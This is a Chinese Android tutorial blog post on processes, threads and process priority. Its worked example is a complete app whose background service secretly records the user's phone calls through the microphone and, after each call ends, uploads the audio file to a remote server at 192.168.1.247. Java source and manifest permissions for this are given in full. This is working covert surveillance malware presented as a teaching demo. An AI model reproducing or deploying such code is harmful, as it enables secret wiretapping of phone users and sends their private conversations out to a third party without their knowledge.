您的位置:首页 > 其它

26、进程和线程之间的关系

2014-09-10 21:57 316 查看
一个进程里面可以有多个线程.进程如果挂了, 线程就没了.

如果我们激活另外一个应用程序的activity,肯定另外一个应用程序 所在的进程也会被创建出来。

为什么要使用 service 是因为service这个组件会长期的在后台运行,一般情况下不会别操作系统回收.

进程的优先级

Foreground process 前台进程 优先级别最高,即便系统内存不足的时候 也不会杀死前台进程 。

Visible process 可见进程 优先级稍为低一点。

Service process 服务进程 存活时间比较长 .里面的子线程不会回收.

Background process 后台进程

Empty process 空进程 没有任何的组件进程。

范例:采用服务监听用户的通话,上传信息到服务器.

public class DemoActivity extends Activity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
Intent intent = new Intent(this,PhoneListenService.class);
startService(intent);
}
}


import java.io.File;

import org.apache.commons.httpclient.methods.PostMethod;
import org.apache.commons.httpclient.methods.multipart.FilePart;
import org.apache.commons.httpclient.methods.multipart.MultipartRequestEntity;
import org.apache.commons.httpclient.methods.multipart.Part;

import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.view.LayoutInflater;

public class PhoneListenService extends Service {

@Override
public IBinder onBind(Intent intent) {
return null;
}

/**
* 在服务第一次被创建的时候 执行
*/
@Override
public void onCreate() {
super.onCreate();
/**
* 给 Service 设置了 foreground 那么他就和正在运行的 Activity 类似优先级得到了一定的提高。
* 当让这并不能保证你得 Service 永远不被杀掉,只是提高了他的优先级。 setForeground(true);
*/

// 1. 判断当前手机的状态,
// 如果发现手机处于 通话状态
// 创建一个录音器, 录下来用户的通话信息
// 当发现手机再次处于 idle 状态 停止录音机,把音频文件 上传到服务器
// 得到手机与电话状态相关的服务
TelephonyManager manager = (TelephonyManager) this
.getSystemService(TELEPHONY_SERVICE);
// this.getSystemService(WIFI_SERVICE);
manager.listen(new MyPhoneListener(),
PhoneStateListener.LISTEN_CALL_STATE);

System.out.println(" 线程id " + Thread.currentThread().getName());
}

/**
* 当电话的通话状态发生改变的时候 被调用的方法
*/
private class MyPhoneListener extends PhoneStateListener {
MediaRecorder recorder = null;

@Override
public void onCallStateChanged(int state, String incomingNumber) {
try {
switch (state) {
// 当前电话处于闲置状态
case TelephonyManager.CALL_STATE_IDLE:
System.out.println("当前电话处于闲置状态 ");

// 判断下recorder是否为空
if (recorder != null) {
recorder.stop();
// Now the object cannot be reused
recorder.release();
recorder = null;

new Thread() {
@Override
public void run() {
// 上传数据到服务器 演示的代码 有问题的
File file = new File("/sdcard/temp.3gp");
try {
upload(file);
} catch (Exception e) {
e.printStackTrace();
}
}
}.start();
}
break;
// 当前电话处于零响状态
case TelephonyManager.CALL_STATE_RINGING:
System.out.println("电话号码为 " + incomingNumber);
break;
// 当前电话处于接听状态
case TelephonyManager.CALL_STATE_OFFHOOK:
System.out.println("当前电话处于通话状态 ");
// 初始化一个录音器,
recorder = new MediaRecorder();
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
// recorder.setOutputFile("sdcard/temp.3gp");
// File file = new File("/sdcard/temp.3gp");
// FileOutputStream fos = new FileOutputStream(file);
// fos.write("haha".getBytes());
recorder.setOutputFile("/sdcard/temp.3gp");
recorder.prepare();

recorder.start(); // Recording is now started

break;

}
} catch (Exception e) {
e.printStackTrace();
}

super.onCallStateChanged(state, incomingNumber);
}

}

public void upload(File file) throws Exception {
// 实例化上传数据的 数组 part []
Part[] parts = { new FilePart("file", file) };

PostMethod filePost = new PostMethod(
"http://192.168.1.247:8080/web/LoginServlet");

filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost
.getParams()));
org.apache.commons.httpclient.HttpClient client = new org.apache.commons.httpclient.HttpClient();
client.getHttpConnectionManager().getParams()
.setConnectionTimeout(5000);
int status = client.executeMethod(filePost);
if (status == 200) {

System.out.println("上传成功");
} else {
throw new IllegalStateException("服务器状态异常");
}

}

}


<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="cn.itcast.phonelistener"
android:versionCode="1"
android:versionName="1.0" >

<uses-sdk android:minSdkVersion="8" />

<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.INTERNET"/>

<application
android:icon="@drawable/ic_launcher"
android:label="@string/app_name" >
<activity
android:label="@string/app_name"
android:name=".DemoActivity" >
<intent-filter >
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

<service android:name=".PhoneListenService" />
</application>

</manifest>
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: